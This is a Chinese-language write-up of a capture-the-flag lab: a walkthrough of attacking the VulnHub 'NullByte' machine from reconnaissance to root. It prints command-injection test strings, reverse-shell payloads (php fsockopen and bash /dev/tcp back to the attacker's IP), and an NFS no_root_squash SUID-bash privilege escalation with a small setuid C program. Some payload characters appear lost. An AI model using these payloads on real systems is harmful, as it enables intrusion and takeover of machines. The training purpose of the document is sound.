红队实战:从信息收集到权限提升的完整渗透测试流程解析
1. 从“圆形激光打靶”到渗透测试实战一次完整的红队演练复盘最近在社区里看到“圆形激光打靶”这个词挺火它描述的是一种精准、聚焦的靶向训练。这让我立刻联想到了我们红队日常的渗透测试演练——本质上我们也是在信息安全的“靶场”里用各种“武器”去精准命中目标系统的弱点。今天我想复盘一次非常经典的实战演练针对VulnHub平台上的“NullByte”靶机的完整打靶过程。这不仅仅是一个CTFCapture The Flag挑战更是一次对红队基础信息收集、漏洞利用、权限提升全流程的绝佳模拟。无论你是刚接触网络安全的新手还是想巩固基础的老兵这次复盘都能让你对“打靶”这件事有更具体、更深刻的理解。NullByte靶机以其清晰的路径和层层递进的难度成为了无数安全爱好者入门内网渗透的“必修课”。接下来我会带你一步步拆解我的攻击链并分享其中那些容易被忽略却又至关重要的细节。2. 靶场环境搭建与初始信息收集在开始任何攻击之前搭建一个隔离、可控的测试环境是第一步也是安全从业者的基本素养。我使用VMware Workstation作为虚拟化平台将下载好的NullByte靶机OVA文件导入并将网络适配器设置为“NAT模式”或“仅主机模式”。这样能确保靶机与我的物理主机处于同一虚拟网络内同时与外部互联网隔离避免意外影响。我的攻击机是一台运行Kali Linux的虚拟机同样置于同一网络段。启动双方后第一件事不是盲目扫描而是先搞清楚目标在哪里。2.1 确定目标IP不止于netdiscover很多教程会直接让你用netdiscover或nmap扫描整个网段。这没问题但我们可以更优雅。首先我检查了Kali自身的IPip a假设是192.168.111.128。那么靶机很可能在同一个C段192.168.111.0/24内。此时一个快速的方法是使用arp-scansudo arp-scan -l --interface eth0这个命令能列出本地网络中所有活跃设备的IP和MAC地址响应速度通常比netdiscover更快结果也更干净。很快我发现了一个新的IP192.168.111.135其MAC地址前缀与VMware虚拟机的常见厂商标识符如00:0c:29吻合基本可以确定这就是NullByte靶机。2.2 端口扫描的艺术用nmap绘制攻击面地图拿到IP后全面的端口扫描是绘制目标攻击面的关键。我从不满足于一个简单的-sSSYN扫描。针对这种CTF靶机我习惯使用一个组合拳命令sudo nmap -sS -sV -sC -O -p- -T4 192.168.111.135 -oA nullbyte_initial这个命令分解开来每个参数都有其战略意图-sSTCP SYN扫描。半开放扫描速度快且相对隐蔽是默认的扫描方式。-sV版本探测。识别开放端口上运行的服务及其具体版本号这是寻找已知漏洞的关键。-sC使用默认脚本扫描。Nmap自带一套强大的NSE脚本能进行更深入的探测如检查HTTP标题、枚举SMB共享等有时能直接发现低垂果实。-O操作系统探测。通过分析TCP/IP协议栈指纹来猜测目标操作系统有助于后续选择匹配的漏洞利用代码。-p-扫描所有65535个端口。这是最重要的习惯之一很多隐蔽服务如管理后台、API接口可能开在高位端口默认的-sS只扫1000个常见端口会让你错过重要入口。-T4设置扫描速度为4级较快。在可控的靶场环境中可以适当提高速度以节省时间。-oA nullbyte_initial以三种格式normal, XML, grepable输出结果到文件便于后续分析和存档。扫描结果通常不会让人失望。对于NullByte我们大概率会发现两个关键端口80/tcpHTTP服务。这是我们的主攻方向一个Web应用。111/tcprpcbind服务。这是一个远程过程调用端口绑定服务常与NFS网络文件系统等服务关联。这为我们后续的权限提升埋下了一个重要的伏笔。注意在实际的授权渗透测试中-p-全端口扫描和-T4高速扫描可能会触发目标的入侵检测系统IDS/IPS。需要根据测试规则ROE调整策略可能采用更慢速、更分散的扫描方式。但在VulnHub这类学习靶场我们可以放心使用。3. Web应用渗透从目录枚举到命令执行确定了Web服务80端口作为首要入口我们的渗透测试流程便进入了最经典的环节Web应用安全评估。3.1 目录与文件枚举不只是gobuster看到HTTP服务新手可能会直接打开浏览器访问。而老手的第一个动作往往是启动目录爆破工具。我常用gobuster但参数配置有讲究gobuster dir -u http://192.168.111.135 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js -t 50-w指定字典。common.txt是个不错的起点但针对PHP靶机如NullByte我有时会额外使用/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt它更全面。-x指定尝试的文件扩展名。php是必须的txt和html也常见js文件有时会泄露API路径或敏感信息。-t 50设置线程数。提高线程可以加快速度但可能被WAF拦截或导致请求不完整需要根据目标响应情况调整。在NullByte的扫描结果中我们很可能会发现一些有趣的路径例如/phpmyadmin/、/admin/、/uploads/等。但最关键的一个发现往往是/kzMb5nVYJw/这类看似随机的目录。这种目录命名方式在CTF中很常见旨在模拟通过信息泄露如源码注释、旧备份文件发现的隐藏资源。3.2 源代码分析与参数挖掘访问这个随机目录例如http://192.168.111.135/kzMb5nVYJw/我们可能会看到一个简单的页面或者直接是目录列表里面包含了一个PHP文件比如index.php。查看页面源代码CtrlU是必须的步骤。在这里我们极有可能在HTML注释中发现宝藏。假设我们在注释中看到类似这样的提示!-- TODO: Remove this before production. Parameter ?key for testing. --或者在页面的表单、链接中发现一个名为key的参数。例如页面URL可能显示为index.php?keytest或者表单提交的字段是key。这个key参数就是我们的突破口。它很可能用于传递某个值并由后端PHP脚本进行处理。3.3 命令注入漏洞的发现与利用接下来就是测试这个key参数是否存在漏洞。我们使用Burp Suite的Repeater模块或者直接在浏览器地址栏、使用curl命令进行测试。首先尝试正常的输入观察回显。然后尝试注入特殊字符和命令分隔符。基础测试?keytest。页面正常显示test相关的内容。命令分隔符测试在Linux/PHP环境中分号;、反引号、$()、管道符|、、||等都可能是命令注入的点。尝试?keytest;id。如果页面回显中包含了当前用户的uid和gid信息例如uid33(www-data) gid33(www-data) groups33(www-data)那么恭喜你一个命令注入漏洞被证实了。这意味着后端代码可能使用了system()、exec()、passthru()或反引号等函数并且没有对用户输入进行过滤。建立反向Shell证明漏洞存在后我们需要获得一个交互式的Shell。最常用的方法是使用netcat建立反向Shell。首先在攻击机Kali上监听一个端口nc -lvnp 4444然后向靶机的漏洞参数注入一个连接回我们攻击机的命令。由于参数可能在URL中传递我们需要对命令进行URL编码。一个经典的反向Shell payload是?keytest;php -r $sockfsockopen(192.168.111.128,4444);exec(/bin/sh -i 3 3 23);或者使用bash?keytest;bash -c bash -i /dev/tcp/192.168.111.128/4444 01注入后观察Kali上的nc监听器如果成功你会看到一个来自靶机的Shell连接提示符可能变为www-datanullbyte:/var/www/html/kzMb5nVYJw$。这标志着我们成功突破了Web应用边界在目标服务器上获得了初始立足点Initial Foothold并且权限是Web服务运行用户通常是www-data。实操心得在测试命令注入时如果分号;被过滤或转义可以尝试换行符%0aURL编码的注入。有时、|也能起到类似作用。多备几种payload进行测试。另外使用Burp Suite的Intruder模块加载命令注入的测试字典可以系统性地进行模糊测试。4. 权限提升从www-data到root获得www-data的Shell只是第一步权限很低无法读取/root目录下的flag目标文件。我们需要将权限提升到root这个过程称为权限提升Privilege Escalation。4.1 系统信息收集在拿到任何一个Shell后不要急着乱跑。首先进行系统的“体检”收集一切可能有助于提权的信息。我有一套固定的检查命令清单系统与内核信息uname -a查看内核版本寻找内核漏洞。cat /etc/issue或cat /etc/*release查看发行版信息。用户与权限id当前用户详细信息。sudo -l非常关键查看当前用户能以sudo身份运行哪些命令如果配置不当可能直接提权。cat /etc/passwd查看所有用户。cat /etc/shadow尝试读取密码哈希需要root权限。进程与服务ps aux或ps -ef查看所有进程寻找以root身份运行的服务或异常进程。netstat -tulpn或ss -tulpn查看网络连接和监听端口确认内部服务。计划任务crontab -l查看当前用户的计划任务。ls -la /etc/cron*和cat /etc/crontab查看系统级计划任务如果有自定义任务且权限配置不当可用来提权。SUID/GUID文件find / -type f -perm -4000 -o -perm -2000 2/dev/null查找设置了SUID或GUID位的文件这些文件执行时会以文件所有者或所属组的权限运行是经典的提权向量。可写文件与目录find / -writable -type d 2/dev/null查找全局可写目录。特别是检查/tmp、/var/tmp以及Web目录。在NullByte靶机上运行sudo -l后我们可能会失望地发现www-data用户并没有sudo权限。这是常态。那么我们的注意力就要转向其他发现。4.2 利用NFS配置不当进行提权回顾我们最初的nmap扫描111端口rpcbind的存在提示我们NFS服务可能正在运行。我们可以用showmount命令来验证showmount -e 192.168.111.135如果返回类似/tmp *(rw,sync,no_root_squash,no_subtree_check)的信息那么一个绝佳的提权机会就出现了。这里需要理解几个关键选项rw读写权限。no_root_squash这是最危险的配置。默认情况下当root用户从客户端访问NFS共享时服务器会将其“压缩”squash为匿名用户如nobody。而no_root_squash禁用了这个保护意味着客户端上的root用户在访问共享时在服务器上依然拥有root权限。sync同步写入。利用步骤在攻击机Kali上创建一个挂载点并挂载靶机的NFS共享mkdir /mnt/nullbyte_nfs mount -t nfs 192.168.111.135:/tmp /mnt/nullbyte_nfs由于共享配置了no_root_squash我们在攻击机上以root身份在Kali中使用sudo su切换到root进行的操作在靶机的/tmp目录下也会以root权限生效。我们计划在靶机上创建一个具有SUID权限的bash副本。首先在攻击机的挂载目录即靶机的/tmp下编译一个简单的C程序或者直接复制/bin/bash。这里以复制bash为例# 在攻击机上操作确保已在/mnt/nullbyte_nfs目录下 cp /bin/bash . chown root:root bash # 将所有者改为root chmod 4755 bash # 设置SUID位rwsr-xr-xchmod 4755中的4代表设置SUID位。执行后文件权限变为-rwsr-xr-x其中的s就是SUID标志。现在回到靶机的www-dataShell中。进入/tmp目录你会发现我们刚刚放置的bash文件已经在那里了。执行这个bash文件./bash -p。参数-p告诉bash在启动时保留preserve当前的有效用户ID即root而不是还原为真实用户IDwww-data。执行id命令验证如果显示uid33(www-data) gid33(www-data) euid0(root) groups33(www-data)说明有效用户IDeuid已经是root提权成功现在你可以访问/root目录并读取最终的flag文件了。踩坑记录有时直接复制/bin/bash可能会因为环境或bash版本问题导致执行失败。更稳健的方法是编写一个简单的C程序编译后设置SUID。例如创建一个shell.c文件内容为#include stdio.h #include sys/types.h #include unistd.h int main() { setuid(0); setgid(0); system(/bin/bash); return 0; }在攻击机上用gcc shell.c -o shell编译再将编译好的shell二进制文件复制到NFS共享目录并设置SUID权限。在靶机上执行./shell同样可以获得root shell。这种方法兼容性更好。5. 总结与拓展思考至此我们对NullByte靶机的渗透演练就完成了。整个流程清晰地展示了一个标准的、由外到内的攻击链信息收集 - Web渗透命令注入- 初始立足www-data shell- 内部枚举发现NFS- 权限提升利用no_root_squash- 获取最终目标root flag。这个靶机虽然难度不高但它完美地串联了多个基础且关键的知识点。在真实的红队评估或渗透测试中每个环节都可能遇到更复杂的对抗和防护信息收集阶段目标可能没有暴露任何Web服务或者端口被防火墙严格过滤。这时需要转向其他协议如SMB、SSH或进行子域名枚举、云资产发现。漏洞利用阶段命令注入漏洞在如今成熟的WAF防护下已较少见更多的是逻辑漏洞、反序列化、SSRF或需要身份认证的SQL注入。漏洞利用的方式也从简单的命令执行变成了复杂的链式攻击。权限提升阶段no_root_squash的NFS配置在真实生产环境中属于低级错误但SUID/GUID文件、配置错误的sudo规则、内核漏洞如Dirty Pipe、Dirty Cow、敏感服务如Docker、Redis的滥用、以及利用计划任务Cron或系统服务systemd进行持久化/提权都是需要熟练掌握的常规手段。我个人在每次打靶后习惯做两件事一是详细记录完整的操作命令、中间输出和思考过程形成自己的“作战笔记”二是尝试用不同的方法达到同一目标。例如在NullByte中除了NFS提权是否还存在其他路径是否可以尝试内核漏洞通过这种多路径探索能极大地加深对系统安全机制的理解。最后我想强调的是打靶的目的不是为了“通关”而是为了理解攻击者视角下的系统弱点从而在防御端构建更立体的安全体系。每一次成功的渗透都应该对应到防御策略的加固对用户输入进行严格的过滤和验证、遵循最小权限原则配置服务、定期进行安全配置审计和漏洞扫描。希望这次对NullByte靶机的深度复盘能为你点亮红队实战之路上的又一盏灯。

相关新闻

最新新闻

日新闻

周新闻

月新闻